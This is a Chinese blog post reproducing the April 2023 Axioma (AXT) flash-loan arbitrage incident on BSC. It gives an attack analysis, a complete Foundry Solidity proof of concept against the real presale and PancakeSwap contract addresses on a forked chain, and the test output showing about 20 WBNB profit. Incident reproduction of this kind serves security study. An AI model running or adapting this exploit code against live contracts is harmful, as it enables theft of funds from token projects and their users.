[区块链安全-DEFI攻击复现]000-20230424 Axioma

[区块链安全-DEFI攻击复现]000-20230424 Axioma

从今天起,我将每天坚持输出一份DEFI攻击的复现及自己的POC代码编写,与诸君共勉。

整个文档将分为数个部分,包括攻击介绍、攻击分析、POC代码编写及反思。列表就参考DeFiHackLabs


# 攻击介绍

2023年4月23日,@HypernativeLabs发布称BSC链上的AXT通证遭受了攻击,攻击者利用Arbi通证预售的价格差获取了21WBNB的利润,约合7K美元。

攻击Tx hash0x05eabbb665a5b99490510d0b3f93565f394914294ab4d609895e525b43ff16f2


攻击分析

使用phalcon进行分析,发现这是一个闪电贷攻击。

攻击者0xaaa75b2ae8314ef738062da56e0f09d2d53c43d2通过DPPoracle的闪电贷flashLoan函数进行借款,换取32.5 WBNB

攻击者在闪电贷合约的回调函数DPPFlashLoanCall中与Axioma的预售合约0x2c25aee99ed08a61e7407a5674bc2d1a72b5d8e3进行交互,获得了9750 AXT

PancakeSwap上将AXT卖掉,又换成了WBNB,偿还闪电贷,攻击完成。

POC编写

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 7K US$
// Event : Axioma Hack
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0x05eabbb665a5b99490510d0b3f93565f394914294ab4d609895e525b43ff16f2
// Attacker : 0xaaa75b2ae8314ef738062da56e0f09d2d53c43d2
// Vulnerable Contract : 0x2c25aee99ed08a61e7407a5674bc2d1a72b5d8e3 (AXT Presale Contract)
// Vulnerable Contract : 0x6a3fa7d2c71fd7d44bf3a2890aa257f34083c90f (Pancake Swap Contract)
// Attack Tx : https://bscscan.com/tx/0x05eabbb665a5b99490510d0b3f93565f394914294ab4d609895e525b43ff16f2

// @Info
// FlashLoan Attack, arbitrage

// @Analysis
// DefiHackLab : https://twitter.com/HypernativeLabs/status/1650382589847302145


address constant DPPORACLE_ADDRESS = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
address constant PRESALE_ADDRESS = 0x2C25aEe99ED08A61e7407A5674BC2d1A72B5D8E3;
address constant SWAP_ADDRESS = 0x6a3Fa7D2C71fd7D44BF3a2890aA257F34083c90f;
address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);

address constant WBNB_ADDRESS = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant AXT_ADDRESS = 0xB6CF5b77B92a722bF34f6f5D6B1Fe4700908935E;

uint256 constant BORROW_AMOUNT = 30 ether;

contract AxiomaHack is Test { // EOA Simulation

    function setUp() public {
        vm.createSelectFork("bsc",27620320); // Go back before hacking time
        console.log("start with block %d",27620320);
        console.log("AxiomaHack address %s",address(this));
    }

    function testExploit() public {
        console.log("start hacking...");
        emit log_named_decimal_uint("[Start] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
        Exploit exploit = new Exploit();
        exploit.attack();
        console.log("finish hacking...");
        emit log_named_decimal_uint("[End] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
    }
}

contract Exploit is Test{

    address owner;

    constructor() {
        owner = msg.sender;
        console.log("Exploit address %s",address(this));
    }

    function attack() external {
        IDPPORACLE(DPPORACLE_ADDRESS).flashLoan(BORROW_AMOUNT, 0, address(this), "1");
    }

    function DPPFlashLoanCall(
        address sender,
        uint256 baseAmount,
        uint256 quoteAmount,
        bytes calldata data
    ) external{
        console.log("receiving flashLoan");
        emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
        WBNB(WBNB_ADDRESS).withdraw(BORROW_AMOUNT);
        IPresale(PRESALE_ADDRESS).buyToken{value:BORROW_AMOUNT}();
        emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
        
        uint256 axtAmount = IERC20(AXT_ADDRESS).balanceOf(address(this));
        emit log_named_decimal_uint("[Hacking] Exploit AXT Balance", axtAmount, 18);

        console.log("Swap AXT for WBNB");
        address[] memory paths = new address[](2);
        paths[0] = AXT_ADDRESS;
        paths[1] = WBNB_ADDRESS;
        IERC20(AXT_ADDRESS).approve(PANCAKE_ROUTER,type(uint256).max);
        IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            axtAmount,1,paths,address(this),block.timestamp *2
        );

        emit log_named_decimal_uint("[Hacked] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);

        WBNB(WBNB_ADDRESS).transfer(msg.sender, BORROW_AMOUNT + 1 ether);
        WBNB(WBNB_ADDRESS).transfer(owner, WBNB(WBNB_ADDRESS).balanceOf(address(this)));

    }

    fallback() external payable {

    }
}


/* -------------------- Interface -------------------- */
interface IDPPORACLE{
    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address _assetTo,
        bytes calldata data
    ) external;
}

interface IPresale {
    function buyToken() external payable;
}

输出如下:

[PASS] testExploit() (gas: 3103102)
Logs:
  start with block 27620320
  AxiomaHack address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
  start hacking...
  [Start] Attacker WBNB Balance: 0.000000000000000000
  Exploit address 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
  receiving flashLoan
  [Hacking] Exploit WBNB Balance: 30.000000000000000000
  [Hacking] Exploit WBNB Balance: 0.000000000000000000
  [Hacking] Exploit AXT Balance: 9000.000000000000000000
  Swap AXT for WBNB
  [Hacked] Exploit WBNB Balance: 50.765903205913794244
  finish hacking...
  [End] Attacker WBNB Balance: 19.765903205913794244

Test result: ok. 1 passed; 0 failed; finished in 565.12ms

Foundry 测试结果表明,使用闪电贷款套利,成功收获20WBNB

反思

老实说,我不认为这个算是DeFi攻击,只是“搬砖”并利用闪电贷放大收益而已。区块链就像是黑暗森林,利益是巨大的,既要攫取果实,也要守护好自己罢了。

猜你喜欢

转载自blog.csdn.net/weixin_43982484/article/details/130373119